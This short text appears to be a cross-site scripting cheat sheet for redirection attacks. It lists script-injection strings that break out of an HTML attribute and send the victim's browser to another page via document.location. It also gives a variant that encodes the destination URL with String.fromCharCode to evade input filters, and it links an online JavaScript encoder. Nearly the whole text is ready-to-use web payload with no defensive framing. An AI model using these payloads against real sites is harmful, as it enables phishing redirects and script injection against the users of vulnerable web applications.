redirection

"><script>document.location='http://whatever';</script>
document.location='http://www.some-other-webpage.com';
"><script>document.location='http://whatever';</script>

For example, this would redirect to www.google.com:
<script>document.location=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,103,111,111,103,108,101,46,99,111,109)</script>

Encoder:
http://www.achari.in/jse/